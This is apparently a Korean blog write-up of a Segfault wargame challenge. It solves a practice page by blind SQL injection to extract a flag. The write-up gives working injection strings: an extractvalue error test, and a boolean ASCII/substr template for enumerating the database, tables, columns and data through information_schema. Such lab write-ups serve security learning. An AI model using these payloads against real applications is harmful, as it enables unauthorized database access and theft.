<목표 : DB에 있는 flag 데이터를 찾아내라!>
->이번 문제는 Blind SQL Injection 을 연습하기 위한 목적이 강합니다.
-Blind SQLi 에 대한 기본적인 내용은 이 게시물을 참고하시면 됩니다.
https://jamesbexter.tistory.com/entry/SQL-InjectionSQLi
- 밑에 내용을 자동화 한 파이썬 코드 게시물은 해당 링크를 참조해주세요!
<1단계 : 탐색>
사이트에 접속하니 SQLi 연습 페이지가 뜬다.
기본적으로 SQLi 가 적용되는지 먼저 확인해보자
확인이 되었다.
이제 혹시 Error SQLi 가 사용가능한지 확인해보자.
넣어준 문구: normaltic' and extractvalue('1',(select database())) and '1'='1
입력을 하자 아예 존재하지 않는 아이디 인지도 안뜬다.
뭔가 오류가 났다는 뜻이다.
하지만 Error 창을 확인 하지못하는 것으로 봐선 Error SQLi 가 사용 불가능하다고 판단가능하다.
그러면 결국 우리는 Blind SQLi 를 해야한다.
<2단계 : Format 작성>
작성된 Format : normaltic' and ((ASCII(substr((__SQL__),1,1)))>0) and '1'='1
이제 "__SQL__" 란에 우리가 쓰고싶은 SQL 질의문은 넣으면 된다!
그리고 아스키 코드 값 비교를 통해서 SELECT 문으로 추출된 결과를 유추해내면 된다!
<3단계 : DB명 추출>
SQL 질의문 : select database()
완성된 Format : normaltic' and ((ASCII(substr((select database()),1,1)))>0) and '1'='1
0 보다 비교해봤을때 존재하는것이라면 일단 db명이 추출되었다는 소리이다.
이제... 아스키코드 값으로 65~97 , 97~122 까지 값을 바꿔가면서.. db명을 추측하면 된다...
많은 노력끝에 DB명이 blindSqli 라는것을 알게되었다..
<4단계 :Table 명 추출>
SQL 질의문 : select table_name from information_schema.tables where table_schema='blindSqli' limit 0,1
완성된 Format : normaltic' and ((ASCII(substr((select table_name from information_schema.tables where table_schema='blindSqli' limit 0,1),1,1)))>0) and '1'='1
이것또한 수많은 시간과 공을 들여
table 명 : flagTable , member ,plus_flagTable 이라는것을 알아냈다..
<5단계 : column 명 추출>
SQL 질의문 : select column_name from information_schema.columns where table_name='flagTable' limit 0,1
완성된 Format : normaltic' and ((ASCII(substr((select column_name from information_schema.columns where table_name='flagTable' limit 0,1),1,1)))>0) and '1'='1
마찬가지로 반복작업을 통해 column 명이 flag 라는것을 알수있었다.
<6단계 : 데이터 추출>
SQL 질의문 : selelct flag from flagTable limit 0,1
완성된 Format : normaltic' and ((ASCII(substr((selelct flag from flagTable limit 0,1),1,1)))>0) and '1'='1
여기서 시간이 매우많이 들었다.
flag 값 : segfault{모자이크 처리~}
flag 값은 구했지만 flag 값을 하나하나 대입해보면서 구해야했다..
리뷰 : 글에선 드러나지 않았지만 심한 노가다를 했다.
대략 한시간동안 반복작업을 하다보니 목도 손목도 너무 아팠다.
당장 python 으로 자동화 툴을 만들어 볼 것이다.
모든 반복작업은 자동화가 될 수 있으므로 분명 가능할 것 이다....
'워게임 문제풀이 > Segfault' 카테고리의 다른 글
<Segfault> 워게임 문제풀이 [XSS 2] (0) | 2024.06.30 |
---|---|
<Segfault> 워게임 문제풀이 [XSS 1] (0) | 2024.06.26 |
<Segfault> 워게임 문제풀이[6편] - SQL Injection3 (1) | 2024.05.31 |
<Segfault> 워게임 문제풀이 [5편] - Secret Login (0) | 2024.05.22 |
<Segfault> 워게임 문제풀이 [4편] - Login Bypass 3 (0) | 2024.05.21 |